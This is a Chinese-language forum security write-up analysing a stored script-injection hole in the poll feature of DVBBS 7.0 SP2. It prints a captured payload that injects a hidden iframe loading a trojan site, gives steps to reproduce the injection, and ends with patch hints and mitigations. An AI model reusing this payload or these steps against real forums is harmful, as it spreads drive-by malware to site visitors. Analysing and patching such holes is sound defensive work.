這個漏洞我只在動網dv7.0 sp2 中測試成功,官方版本也有此問題。最新版 dvbbs 7.1 大家自己測試吧。華夏黑客同盟論壇已經改版成功, 從此再也不和動網玩游戲了,我們不再使用動網論壇程序。 使用動網論壇 三天兩頭出漏洞被掛馬,不夠累的!歡迎大家光臨 本站新論壇 http://bbs.77169.com
起因:
兩個星期前本站會員找到我們,說他開的論壇被掛木馬了!使用的最新商業版的動網程序。
我們瀏覽了他給出的論壇地址。
http://bbs.xxxxx.com/dispbbs.asp?boardid=8&id=476
打開之后是一個投票的貼子,殺毒軟件提示有病毒。看來是被人掛馬了。
馬上查看源程序發現如下代碼。
以下是引用片段:
<a name=top></a> </td>
</table><br><Script Language=javascript>var vote='';document.all.popmenu.innerHTML=document.all.popmenu.innerHTML+String.fromCharCode(60)+'IFRAME frameBorder=0 height=0 marginHeight=0 marginWidth=0 scrolling=no src=http://muma.77169.org width=0'+String.fromCharCode(62)+String.fromCharCode(60)+'/IFRAME'+String.fromCharCode(62);var vote='1';var votenum='0';var votetype='0';var voters='0';</Script><!--帖子瀏覽頂部-->
分析:
這個木馬是怎么插入進去的呢?
首先 此論壇已經打上補丁了,而且 只有投票貼子被掛馬了。第一反映就是投票 貼子沒有過濾好。
那我們來發一個投票貼子,分析一下投票內容是保存在 動網數據庫中 字段中。
分析之后發現 是保存在這個 vote 字段中。vote字段 數據源來自于 投票項目,這就清楚了。
下面我們來模擬黑客發木馬貼子的過程。
1,注冊一個用戶
2,發表投票貼子
3,投票項目 中寫入這樣的代碼 如圖
打開這個投票貼子,就打開了有病毒的網頁。
插入木馬 主要是執行了這一個這樣的語句,大家分析一下就知道,是向dv_vote表中插入的。
Select JoinDate,UserID,UserPost,UserGroupID,userclass,lockuser,TruePassWord From [Dv_User] Where UserID=1
insert into dv_vote (vote,votenum,votetype,timeout) values (''';document.all.popmenu.innerHTML=document.all.popmenu.innerHTML+String.fromCharCode(60)+''IFRAME frameBorder=0 height=0 marginHeight=0 marginWidth=0 scrolling=no src=http://www.XXXXX.org width=0''+String.fromCharCode(62)+String.fromCharCode(60)+''/IFRAME''+String.fromCharCode(62);var vote=''1','0',0,'2032-12-22 23:45:16')
想寫補丁的話,提示一下,主要問題在 savepost.asp這個文件中找到代碼。
If Action = 7 Then
votetype=Dvbbs.Checkstr(request.Form("votetype"))
If IsNumeric(votetype)=0 or votetype="" Then votetype=0
vote=Dvbbs.Checkstr(trim(Replace(request.Form("vote"),"|","")))
Dim j,k,vote_1,votelen,votenumlen
If vote="" Then
Dvbbs.AddErrCode(81)
給 dv_vote (vote,votenum,votetype,timeout) 中幾個變量給過濾一下!
可以參考 相關問題!
http://www.77169.org/Article/Class43/Class28/200507/18327.html
建議解決方案:
1,在后臺禁止注冊用戶發表 投票
2,去官方下載最新版本
3,自己寫個補丁 (已經給出提示了,我這幾天沒時間,過幾天如果官方沒給補丁 我們網站會發布補丁的)